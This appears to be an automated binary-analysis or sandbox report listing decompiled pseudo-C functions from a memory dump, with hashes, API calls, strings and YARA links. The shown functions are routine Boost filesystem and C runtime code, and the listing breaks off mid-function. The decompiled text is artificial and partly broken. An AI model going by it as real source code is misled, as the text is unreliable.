Instruction ID: cd5b070fa2e65b6f5eb9b70e104fc13a16b4417f13ff75f1a0be88068161fabe
Opcode Fuzzy Hash: 5366bab6abb5fa5ec607a162e5e111ed80988640aa290f7e46fa22d5d1b74159
Instruction Fuzzy Hash: 5F31C4B0D04348ABDB20DF64CD45B9BBBF8AB05700F444169F958A32C1EBB45B48CB62

Uniqueness

Uniqueness Score: 100.00%

Function 00059760, Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 84
UNIQUE

Download Yara Rule

C-Code - Quality: 26%

			E00059760(void* __ebx, void* __edi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v16;
				signed int _v20;
				char _v44;
				char _v92;
				signed char _v104;
				signed int _t18;
				signed int _t19;
				intOrPtr _t33;
				intOrPtr* _t36;
				intOrPtr _t42;
				intOrPtr _t45;
				intOrPtr* _t46;
				signed int _t49;

				_push(0xffffffff);
				_push(0x12d468);
				_push( *[fs:0x0]);
				_t18 =  *0x16f170; // 0xd529e887
				_t19 = _t18 ^ _t49;
				_v20 = _t19;
				_push(_t19);
				 *[fs:0x0] =  &_v16;
				_t42 = _a12;
				_t45 = _a8;
				_t33 = _a4;
				_t6 = _t42 + 4; // 0x4
				if(E00104269(_t45 + 4, _t6) != 0) {
					E00064B00( &_v44, _t33);
					_v8 = 0;
					_t36 =  &_v92;
					L000591F0(_t33, _t36, _t42,  &_v44, _t45, _t42);
					E001047B7( &_v92, 0x16ca44);
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					asm("int3");
					_push(_t49);
					_push(_t45);
					_t46 = _t36;
					 *_t46 = 0x13b788;
					if((_v104 & 0x00000001) != 0) {
						_push(4);
						E000ED2D0(_t46);
					}
					return _t46;
				} else {
					 *[fs:0x0] = _v16;
					return E000ECED8(_v20 ^ _t49);
				}
			}

0x00059763
0x00059765
0x00059770
0x00059774
0x00059779
0x0005977b
0x00059781
0x00059785
0x0005978b
0x0005978e
0x00059791
0x00059794
0x000597a6
0x000597c8
0x000597d2
0x000597da
0x000597dd
0x000597eb
0x000597f0
0x000597f1
0x000597f2
0x000597f3
0x000597f4
0x000597f5
0x000597f6
0x000597f7
0x000597f8
0x000597f9
0x000597fa
0x000597fb
0x000597fc
0x000597fd
0x000597fe
0x000597ff
0x00059800
0x00059807
0x00059808
0x0005980a
0x00059810
0x00059812
0x00059815
0x0005981a
0x00059821
0x000597a8
0x000597ab
0x000597c3
0x000597c3

Strings

', trying to retrieve ', xrefs: 000593FD
?, xrefs: 00059520
NameValuePairs: type mismatch for ', xrefs: 000592BF
', stored ', xrefs: 0005931C

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ___std_type_info_name$Exception@8Throw
String ID: ', stored '$', trying to retrieve '$?$NameValuePairs: type mismatch for '
API String ID: 584751634-3934172197
Opcode ID: 5395bc1f41172240c021197de008400f99670323a58d85ebc0008b02213d3621
Instruction ID: 28eb887edcd8e018950db3bb67964b7007e16827d6f75bfb9aaccaae5427960a
Opcode Fuzzy Hash: 5395bc1f41172240c021197de008400f99670323a58d85ebc0008b02213d3621
Instruction Fuzzy Hash: D31184B290425CABCB10DF94EC81FDFBBACEB49710F00452AFD15A7681EB74A904C7A4

Uniqueness

Uniqueness Score: 100.00%

Function 000AAA00, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
fileUNIQUE

Download Yara Rule

C-Code - Quality: 50%

			E000AAA00(WCHAR* _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _t10;
				WCHAR* _t11;
				int _t12;
				long _t13;
				long _t17;
				WCHAR* _t18;
				intOrPtr* _t19;
				WCHAR* _t22;

				_t10 = _a8;
				if(_t10 != 1) {
					if(_t10 == 3 || _t10 == 0xb) {
						_t22 = _a4;
						_t11 = _t22;
						if(_t22[0xa] >= 8) {
							_t11 =  *_t22;
						}
						_t12 = RemoveDirectoryW(_t11);
					} else {
						_t22 = _a4;
						_t18 = _t22;
						if(_t22[0xa] >= 8) {
							_t18 =  *_t22;
						}
						_t12 = DeleteFileW(_t18);
					}
					if(_t12 != 0) {
						L21:
						_t13 = 0;
					} else {
						_t17 = GetLastError();
						if(_t17 == 2 || _t17 == 3 || _t17 == 0x7b || _t17 == 0xf || _t17 == 0x15 || _t17 == 0x57 || _t17 == 0xa1 || _t17 == 0x35) {
							goto L21;
						} else {
							_t13 = GetLastError();
						}
					}
					_push("boost::filesystem::remove");
					_push(_a12);
					if(E000AA270(_t13, _t22) == 0) {
						return 1;
					} else {
						goto L23;
					}
				} else {
					_t19 = _a12;
					if(_t19 == 0) {
						L23:
						return 0;
					} else {
						 *_t19 = 0;
						 *((char*)(_t19 + 4)) = 0;
						 *((intOrPtr*)(_t19 + 8)) = 0x1522a0;
						return 0;
					}
				}
			}

0x000aaa00
0x000aaa09
0x000aaa30
0x000aaa4e
0x000aaa52
0x000aaa58
0x000aaa5a
0x000aaa5a
0x000aaa5d
0x000aaa37
0x000aaa37
0x000aaa3b
0x000aaa41
0x000aaa43
0x000aaa43
0x000aaa46
0x000aaa46
0x000aaa65
0x000aaa9d
0x000aaa9d
0x000aaa67
0x000aaa6d
0x000aaa72
0x00000000
0x000aaa99
0x000aaa99
0x000aaa99
0x000aaa72
0x000aaa9f
0x000aaaa4
0x000aaab4
0x000aaabf
0x00000000
0x00000000
0x00000000
0x000aaa0b
0x000aaa0b
0x000aaa11
0x000aaab7
0x000aaaba
0x000aaa18
0x000aaa18
0x000aaa1e
0x000aaa22
0x000aaa2c
0x000aaa2c
0x000aaa11

APIs

DeleteFileW.KERNEL32(?,00000000,?,000AA9EE,?,00000000,?,?,?,?,00000000,?,00000000), ref: 000AAA46
RemoveDirectoryW.KERNEL32(?,00000000,?,000AA9EE,?,00000000,?,?,?,?,00000000,?,00000000), ref: 000AAA5D
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 000AAA6D
GetLastError.KERNEL32(?,?,?,00000000,?,00000000), ref: 000AAA99

Part of subcall function 000AA270: __CxxThrowException@8.LIBVCRUNTIME ref: 000AA334

Strings

boost::filesystem::remove, xrefs: 000AAA9F

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ErrorLast$DeleteDirectoryException@8FileRemoveThrow
String ID: boost::filesystem::remove
API String ID: 1244045834-3435932043
Opcode ID: 460401a70352ab5773eb70b3c86b744ccdbc887c3f0efa85d7c4919b02ae5271
Instruction ID: a63620be404b8670d613f280cf6c66a3132b3a829d77051cbb96b2c70c25547d
Opcode Fuzzy Hash: 460401a70352ab5773eb70b3c86b744ccdbc887c3f0efa85d7c4919b02ae5271
Instruction Fuzzy Hash: ED1181353042019BCA769A98AE8869FBBD4AF63710F184856E445C75A1C370DCC5CB53

Uniqueness

Uniqueness Score: 37.75%

Function 000AA700, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66
UNIQUE

Download Yara Rule

C-Code - Quality: 38%

			E000AA700(WCHAR* _a4, signed char _a8, intOrPtr _a12) {
				signed int _t16;
				WCHAR* _t17;
				long _t19;
				void* _t20;
				WCHAR* _t21;
				long _t23;
				signed char _t24;
				WCHAR* _t26;
				signed int _t29;
				long _t31;

				_t24 = _a8;
				_t16 = _t24 & 0x00003000;
				if(_t16 == 0x3000 || _t16 != 0 && (_t24 & 0x00000092) == 0) {
					return _t16;
				} else {
					_t26 = _a4;
					_t17 = _t26;
					if(_t26[0xa] >= 8) {
						_t17 =  *_t26;
					}
					_t29 = GetFileAttributesW(_t17);
					if(_t29 != 0) {
						_t19 = 0;
					} else {
						_t19 = GetLastError();
					}
					_push("boost::filesystem::permissions");
					_push(_a12);
					_t20 = E000AA270(_t19, _t26);
					if(_t20 == 0) {
						if((_t24 & 0x00001000) == 0) {
							if((_t24 & 0x00002000) != 0 || (_t24 & 0x00000092) == 0) {
								_t31 = _t29 | 0x00000001;
							} else {
								_t31 = _t29 & 0xfffffffe;
							}
						} else {
							_t31 = _t29 & 0xfffffffe;
						}
						_t21 = _t26;
						if(_t26[0xa] >= 8) {
							_t21 =  *_t26;
						}
						if(SetFileAttributesW(_t21, _t31) != 0) {
							_t23 = 0;
						} else {
							_t23 = GetLastError();
						}
						_push("boost::filesystem::permissions");
						_push(_a12);
						_t20 = E000AA270(_t23, _t26);
					}
					return _t20;
				}
			}

0x000aa701
0x000aa707
0x000aa711
0x000aa7ba
0x000aa724
0x000aa725
0x000aa729
0x000aa72f
0x000aa731
0x000aa731
0x000aa73b
0x000aa73f
0x000aa749
0x000aa741
0x000aa741
0x000aa741
0x000aa74b
0x000aa750
0x000aa756
0x000aa760
0x000aa768
0x000aa775
0x000aa781
0x000aa77c
0x000aa77c
0x000aa77c
0x000aa76a
0x000aa76a
0x000aa76a
0x000aa788
0x000aa78a
0x000aa78c
0x000aa78c
0x000aa798
0x000aa7a2
0x000aa79a
0x000aa79a
0x000aa79a
0x000aa7a4
0x000aa7a9
0x000aa7af
0x000aa7b4
0x00000000
0x000aa7b8

APIs

GetFileAttributesW.KERNEL32(?,?,7757EEF2,7757EEF2,00090133,?,000001B6,00000000,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA735
GetLastError.KERNEL32(?,?,00000001,?,?,?,00000000,00000010,?,?,?,?,?,D529E887,7757C452,00000000), ref: 000AA741

Part of subcall function 000AA270: __CxxThrowException@8.LIBVCRUNTIME ref: 000AA334

SetFileAttributesW.KERNEL32(?,00000000,?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA790
GetLastError.KERNEL32(?,?,?,?,?,?,00000001,?,?,?,00000000,00000010), ref: 000AA79A

Strings

boost::filesystem::permissions, xrefs: 000AA74B, 000AA7A4

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: AttributesErrorFileLast$Exception@8Throw
String ID: boost::filesystem::permissions
API String ID: 584505861-2253952981
Opcode ID: e56e31f0d61fe07911eecc6b2726501501f8e9edbb2f429650a937abe6e673fa
Instruction ID: ebc63674a25a3e27a559351b8669af36daa6587e3e14acde091efa2b643c4613
Opcode Fuzzy Hash: e56e31f0d61fe07911eecc6b2726501501f8e9edbb2f429650a937abe6e673fa
Instruction Fuzzy Hash: FE119171B097106BDA615AE99D4CB6F77B8AF97361F180624FC51C21D1D339C890C6A3

Uniqueness

Uniqueness Score: 100.00%

Function 0011915C, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderUNIQUE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,0011910D,00000003,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002), ref: 0011917C
GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,?,0011910D,00000003,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002), ref: 0011918F
FreeLibrary.KERNEL32(00000000,?,?,?,0011910D,00000003,?,001190AD,00000003,0016C428,0000000C,00119204,00000003,00000002,00000000), ref: 001191B2

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Strings

CorExitProcess, xrefs: 00119187
mscoree.dll, xrefs: 00119175

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: AddressFeatureFreeHandleLibraryModulePresentProcProcessor___raise_securityfailure
String ID: CorExitProcess$mscoree.dll
API String ID: 3508928539-1276376045
Opcode ID: bdd884b1c3f010c3b39b509f9945c59eccde93290d04c5f961b344d0020a68da
Instruction ID: ed7059c611aece9ebb569a165c9e2cc8cbf651e2a7f64833d934e18591fea9dc
Opcode Fuzzy Hash: bdd884b1c3f010c3b39b509f9945c59eccde93290d04c5f961b344d0020a68da
Instruction Fuzzy Hash: 41F04F31A40208BFDB159FA0DC19BEEBFB9EF04712F4000A8F805A21A0CB755DC1CA91

Uniqueness

Uniqueness Score: 100.00%

Function 00110FF3, Relevance: 7.7, APIs: 5, Instructions: 222
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E00110FF3(void* __ebx, void* __edx, void* __edi, void* __esi, char* _a4, short* _a8, int _a12, intOrPtr _a16) {
				signed int _v8;
				char _v16;
				int _v20;
				int _v24;
				char* _v28;
				int _v32;
				char _v36;
				intOrPtr _v44;
				char _v48;
				signed int _t59;
				char* _t61;
				intOrPtr _t63;
				int _t64;
				intOrPtr* _t65;
				signed int _t68;
				intOrPtr* _t71;
				short* _t73;
				int _t74;
				int _t76;
				char _t78;
				short* _t83;
				short _t85;
				int _t91;
				int _t93;
				char* _t98;
				int _t103;
				char* _t105;
				void* _t106;
				intOrPtr _t108;
				intOrPtr _t109;
				int _t110;
				short* _t113;
				int _t114;
				int _t116;
				signed int _t117;

				_t106 = __edx;
				_t59 =  *0x16f170; // 0xd529e887
				_v8 = _t59 ^ _t117;
				_t61 = _a4;
				_t91 = _a12;
				_t116 = 0;
				_v28 = _t61;
				_v20 = 0;
				_t113 = _a8;
				_v24 = _t113;
				if(_t61 == 0 || _t91 != 0) {
					if(_t113 != 0) {
						E0010E0A3(_t91,  &_v48, _t106, _a16);
						_t98 = _v28;
						if(_t98 == 0) {
							_t63 = _v44;
							if( *((intOrPtr*)(_t63 + 0xa8)) != _t116) {
								_t64 = WideCharToMultiByte( *(_t63 + 8), _t116, _t113, 0xffffffff, _t116, _t116, _t116,  &_v20);
								if(_t64 == 0 || _v20 != _t116) {
									L55:
									_t65 = E0010FAC5();
									_t114 = _t113 | 0xffffffff;
									 *_t65 = 0x2a;
									goto L56;
								} else {
									_t53 = _t64 - 1; // -1
									_t114 = _t53;
									L56:
									if(_v36 != 0) {
										 *(_v48 + 0x350) =  *(_v48 + 0x350) & 0xfffffffd;
									}
									goto L59;
								}
							}
							_t68 =  *_t113 & 0x0000ffff;
							if(_t68 == 0) {
								L51:
								_t114 = _t116;
								goto L56;
							}
							while(_t68 <= 0xff) {
								_t113 =  &(_t113[1]);
								_t116 = _t116 + 1;
								_t68 =  *_t113 & 0x0000ffff;
								if(_t68 != 0) {
									continue;
								}
								goto L51;
							}
							goto L55;
						}
						_t108 = _v44;
						if( *((intOrPtr*)(_t108 + 0xa8)) != _t116) {
							if( *((intOrPtr*)(_t108 + 4)) != 1) {
								_t114 = WideCharToMultiByte( *(_t108 + 8), _t116, _t113, 0xffffffff, _t98, _t91, _t116,  &_v20);
								if(_t114 == 0) {
									if(_v20 != _t116 || GetLastError() != 0x7a) {
										L45:
										_t71 = E0010FAC5();
										_t116 = _t116 | 0xffffffff;
										 *_t71 = 0x2a;
										goto L51;
									} else {
										if(_t91 == 0) {
											goto L56;
										}
										_t73 = _v24;
										while(1) {
											_t109 = _v44;
											_t103 =  *(_t109 + 4);
											if(_t103 > 5) {
												_t103 = 5;
											}
											_t74 = WideCharToMultiByte( *(_t109 + 8), _t116, _t73, 1,  &_v16, _t103, _t116,  &_v20);
											_t93 = _a12;
											_t110 = _t74;
											if(_t110 == 0 || _v20 != _t116 || _t110 < 0 || _t110 > 5) {
												goto L55;
											}
											if(_t110 + _t114 > _t93) {
												goto L56;
											}
											_t76 = _t116;
											_v32 = _t76;
											if(_t110 <= 0) {
												L43:
												_t73 = _v24 + 2;
												_v24 = _t73;
												if(_t114 < _t93) {
													continue;
												}
												goto L56;
											}
											_t105 = _v28;
											while(1) {
												_t78 =  *((intOrPtr*)(_t117 + _t76 - 0xc));
												 *((char*)(_t105 + _t114)) = _t78;
												if(_t78 == 0) {
													goto L56;
												}
												_t76 = _v32 + 1;
												_t114 = _t114 + 1;
												_v32 = _t76;
												if(_t76 < _t110) {
													continue;
												}
												goto L43;
											}
											goto L56;
										}
										goto L55;
									}
								}
								if(_v20 != _t116) {
									goto L45;
								}
								_t28 = _t114 - 1; // -1
								_t116 = _t28;
								goto L51;
							}
							if(_t91 == 0) {
								L21:
								_t116 = WideCharToMultiByte( *(_t108 + 8), _t116, _t113, _t91, _t98, _t91, _t116,  &_v20);
								if(_t116 == 0 || _v20 != 0) {
									goto L45;
								} else {
									if(_v28[_t116 - 1] == 0) {
										_t116 = _t116 - 1;
									}
									goto L51;
								}
							}
							_t83 = _t113;
							_v24 = _t91;
							while( *_t83 != _t116) {
								_t83 =  &(_t83[1]);
								_t16 =  &_v24;
								 *_t16 = _v24 - 1;
								if( *_t16 != 0) {
									continue;
								}
								break;
							}
							if(_v24 != _t116 &&  *_t83 == _t116) {
								_t91 = (_t83 - _t113 >> 1) + 1;
							}
							goto L21;
						}
						if(_t91 == 0) {
							goto L51;
						}
						while( *_t113 <= 0xff) {
							_t98[_t116] =  *_t113;
							_t85 =  *_t113;
							_t113 =  &(_t113[1]);
							if(_t85 == 0) {
								goto L51;
							}
							_t116 = _t116 + 1;
							if(_t116 < _t91) {
								continue;
							}
							goto L51;
						}
						goto L45;
					}
					 *((intOrPtr*)(E0010FAC5())) = 0x16;
					E0010F43B();
					goto L59;
				} else {
					L59:
					return E000ECED8(_v8 ^ _t117);
				}
			}

0x00110ff3
0x00110ffb
0x00111002
0x00111005
0x00111009
0x0011100d
0x0011100f
0x00111012
0x00111016
0x00111019
0x0011101e
0x0011102d
0x0011104d
0x00111052
0x00111057
0x001111f4
0x001111fd
0x0011122f
0x00111237
0x00111243
0x00111243
0x00111248
0x0011124b
0x00000000
0x0011123e
0x0011123e
0x0011123e
0x00111251
0x00111255
0x0011125a
0x0011125a
0x00000000
0x00111261
0x00111237
0x001111ff
0x00111205
0x0011121d
0x0011121d
0x00000000
0x0011121d
0x0011120c
0x00111211
0x00111214
0x00111215
0x0011121b
0x00000000
0x00000000
0x00000000
0x0011121b
0x00000000
0x0011120c
0x0011105d
0x00111066
0x001110a0
0x00111119
0x0011111d
0x00111133
0x001111e4
0x001111e4
0x001111e9
0x001111ec
0x00000000
0x00111148
0x0011114a
0x00000000
0x00000000
0x00111150
0x00111153
0x00111153
0x00111156
0x0011115c
0x00111160
0x00111160
0x00111172
0x00111178
0x0011117b
0x0011117f
0x00000000
0x00000000
0x001111a4
0x00000000
0x00000000
0x001111aa
0x001111ac
0x001111b1
0x001111d1
0x001111d4
0x001111d7
0x001111dc
0x00000000
0x00000000
0x00000000
0x001111e2
0x001111b3
0x001111b6
0x001111b6
0x001111ba
0x001111bf
0x00000000
0x00000000
0x001111c8
0x001111c9
0x001111ca
0x001111cf
0x00000000
0x00000000
0x00000000
0x001111cf
0x00000000
0x001111b6
0x00000000
0x00111153
0x00111133
0x00111122
0x00000000
0x00000000
0x00111128
0x00111128
0x00000000
0x00111128
0x001110a4
0x001110ca
0x001110dd
0x001110e1
0x00000000
0x001110f1
0x001110f9
0x001110ff
0x001110ff
0x00000000
0x001110f9
0x001110e1
0x001110a6
0x001110a8
0x001110ab
0x001110b0
0x001110b3
0x001110b3
0x001110b7
0x00000000
0x00000000
0x00000000
0x001110b7
0x001110bc
0x001110c9
0x001110c9
0x00000000
0x001110bc
0x0011106a
0x00000000
0x00000000
0x00111075
0x00111080
0x00111083
0x00111086
0x0011108c
0x00000000
0x00000000
0x00111092
0x00111095
0x00000000
0x00000000
0x00000000
0x00111097
0x00000000
0x00111075
0x00111034
0x0011103a
0x00000000
0x00111024
0x00111263
0x00111273
0x00111273

APIs

WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,0000001C,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 001110D7
WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,0000001C,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00111113
GetLastError.KERNEL32(?,?,?,?,?,0016CDCC,bad locale name), ref: 00111139
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000001,00000001,00000000,?,?,?,?,?,?,0016CDCC,bad locale name), ref: 00111172
WideCharToMultiByte.KERNEL32(?,00000000,00000000,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0011122F

Part of subcall function 000ECED8: IsProcessorFeaturePresent.KERNEL32(00000017), ref: 000EDF1D
Part of subcall function 000ECED8: ___raise_securityfailure.LIBCMT ref: 000EE004

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: ByteCharMultiWide$ErrorFeatureLastPresentProcessor___raise_securityfailure
String ID:
API String ID: 3472437546-0
Opcode ID: e5689668260ce19f5b850e121ff8e796a799311dc495d1c66807995c3f98bd2c
Instruction ID: c668327db743d512966f6d156750019f02a36ddbe9d8979782016fa018d8c467
Opcode Fuzzy Hash: e5689668260ce19f5b850e121ff8e796a799311dc495d1c66807995c3f98bd2c
Instruction Fuzzy Hash: C871AE35D0025AABCB299FA4C884AFFFB75EF55310F244239EA55A7281D7708DC1CBA0

Uniqueness

Uniqueness Score: 0.07%

Function 00119762, Relevance: 7.6, APIs: 5, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00119762(signed int* __ecx, signed int __edx) {
				signed int _v8;
				intOrPtr* _v12;
				signed int _v16;
				signed int _t28;
				signed int _t29;
				intOrPtr _t33;
				signed int _t37;
				signed int _t38;
				signed int _t40;
				void* _t50;
				signed int _t56;
				intOrPtr* _t57;
				signed int _t68;
				signed int _t71;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t78;
				signed int _t80;
				signed int* _t81;
				signed int _t85;
				void* _t86;

				_t72 = __edx;
				_v12 = __ecx;
				_t28 =  *__ecx;
				_t81 =  *_t28;
				if(_t81 != 0) {
					_t29 =  *0x16f170; // 0xd529e887
					_t56 =  *_t81 ^ _t29;
					_t78 = _t81[1] ^ _t29;
					_t83 = _t81[2] ^ _t29;
					asm("ror edi, cl");
					asm("ror esi, cl");
					asm("ror ebx, cl");
					if(_t78 != _t83) {
						L14:
						 *_t78 = E001168D8( *((intOrPtr*)( *((intOrPtr*)(_v12 + 4)))));
						_t33 = E000ED036(_t56);
						_t57 = _v12;
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)))) = _t33;
						_t24 = _t78 + 4; // 0x51058
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 4)) = E000ED036(_t24);
						 *((intOrPtr*)( *((intOrPtr*)( *_t57)) + 8)) = E000ED036(_t83);
						_t37 = 0;
						L15:
						return _t37;
					}
					_t38 = 0x200;
					_t85 = _t83 - _t56 >> 2;
					if(_t85 <= 0x200) {
						_t38 = _t85;
					}
					_t80 = _t38 + _t85;
					if(_t80 == 0) {
						_t80 = 0x20;
					}
					if(_t80 < _t85) {
						L9:
						_push(4);
						_t80 = _t85 + 4;
						_push(_t80);
						_v8 = E00124DB2(_t56);
						_t40 = E0011D5C7(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							goto L11;
						}
						_t37 = _t40 | 0xffffffff;
						goto L15;
					} else {
						_push(4);
						_push(_t80);
						_v8 = E00124DB2(_t56);
						E0011D5C7(0);
						_t68 = _v8;
						_t86 = _t86 + 0x10;
						if(_t68 != 0) {
							L11:
							_t56 = _t68;
							_v8 = _t68 + _t85 * 4;
							_t83 = _t68 + _t80 * 4;
							_t78 = _v8;
							_push(0x20);
							asm("ror eax, cl");
							_t71 = _t78;
							_v16 = 0 ^  *0x16f170;
							asm("sbb edx, edx");
							_t74 =  !_t72 & _t68 + _t80 * 0x00000004 - _t78 + 0x00000003 >> 0x00000002;
							_v8 = _t74;
							if(_t74 == 0) {
								goto L14;
							}
							_t75 = _v16;
							_t50 = 0;
							do {
								_t50 = _t50 + 1;
								 *_t71 = _t75;
								_t19 = _t71 + 4; // 0x17a4b8
								_t71 = _t19;
							} while (_t50 != _v8);
							goto L14;
						}
						goto L9;
					}
				}
				return _t28 | 0xffffffff;
			}

0x00119762
0x0011976c
0x00119770
0x00119772
0x00119776
0x00119780
0x00119791
0x00119796
0x00119798
0x0011979a
0x0011979c
0x0011979e
0x001197a2
0x0011985c
0x0011986a
0x0011986c
0x00119871
0x00119878
0x0011987a
0x00119888
0x00119897
0x0011989a
0x0011989c
0x00000000
0x0011989d
0x001197aa
0x001197af
0x001197b4
0x001197b6
0x001197b6
0x001197b8
0x001197bd
0x001197c1
0x001197c1
0x001197c4
0x001197e3
0x001197e3
0x001197e5
0x001197e8
0x001197f1
0x001197f4
0x001197f9
0x001197fc
0x00119801
0x00000000
0x00000000
0x00119803
0x00000000
0x001197c6
0x001197c6
0x001197c8
0x001197d1
0x001197d4
0x001197d9
0x001197dc
0x001197e1
0x0011980b
0x0011980e
0x00119810
0x00119813
0x0011981b
0x00119821
0x00119828
0x0011982a
0x00119832
0x00119841
0x00119845
0x00119847
0x0011984a
0x00000000
0x00000000
0x0011984c
0x0011984f
0x00119851
0x00119851
0x00119852
0x00119854
0x00119854
0x00119857
0x00000000
0x00119851
0x00000000
0x001197e1
0x001197c4
0x00000000

APIs

_free.LIBCMT ref: 001197D4
_free.LIBCMT ref: 001197F4

Part of subcall function 0011D5C7: HeapFree.KERNEL32(00000000,00000000), ref: 0011D5DD
Part of subcall function 0011D5C7: GetLastError.KERNEL32(?,?,00125B25,?,00000000,?,00000000,?,00125DC9,?,00000007,?,?,001261BD,?,?), ref: 0011D5EF

__crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011986C
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011987E
__crt_fast_encode_pointer.LIBVCRUNTIME ref: 0011988B

Memory Dump Source

Source File: 00000000.00000002.1663008133.00051000.00000020.sdmp, Offset: 00050000, based on PE: true

Associated: 00000000.00000002.1662919372.00050000.00000002.sdmp Download File
Associated: 00000000.00000002.1664511712.0013A000.00000002.sdmp Download File
Associated: 00000000.00000002.1665212521.0016F000.00000004.sdmp Download File
Associated: 00000000.00000002.1665238509.00170000.00000008.sdmp Download File
Associated: 00000000.00000002.1665281707.00177000.00000004.sdmp Download File
Associated: 00000000.00000002.1665362832.0017B000.00000002.sdmp Download File

Similarity

API ID: __crt_fast_encode_pointer$_free$ErrorFreeHeapLast
String ID:
API String ID: 1210940017-0
Opcode ID: b647fcd8415b4250f7265d9ce247a1ae20a7a6af0f5970c8e7ed459b063ac9ce
Instruction ID: 5bb8c6094172866bf6463075e910f5157cd3ed96a0d44e62e165a83808e18b01
Opcode Fuzzy Hash: b647fcd8415b4250f7265d9ce247a1ae20a7a6af0f5970c8e7ed459b063ac9ce
Instruction Fuzzy Hash: DC41D132A002149FDB28DF78C891AADB7B5EF85314F5546B9E525EB381E731ED42CB80

Uniqueness

Uniqueness Score: 1.44%

Function 00072110, Relevance: 7.6, APIs: 5, Instructions: 119
sleepthreadUNIQUE

Download Yara Rule

C-Code - Quality: 67%

			E00072110(intOrPtr __ecx, intOrPtr* _a4) {
				intOrPtr _v12;
				long _v20;
				long _v24;
				signed int _v28;
				long _v32;
				char _v40;
				struct _SYSTEM_INFO _v76;
				intOrPtr* _t30;
				long _t31;
				long _t32;
				void* _t33;
				long _t34;
				long _t38;
				intOrPtr _t40;
				intOrPtr* _t42;
				long _t47;
				long _t50;
				long _t51;
				long _t53;

				_t42 = _a4;
				_t50 = 1;
				_v12 = __ecx;
				 *((intOrPtr*)(__ecx)) = _t42;
				 *((char*)(__ecx + 4)) = 0;
				asm("lock cmpxchg [ebx], edx");
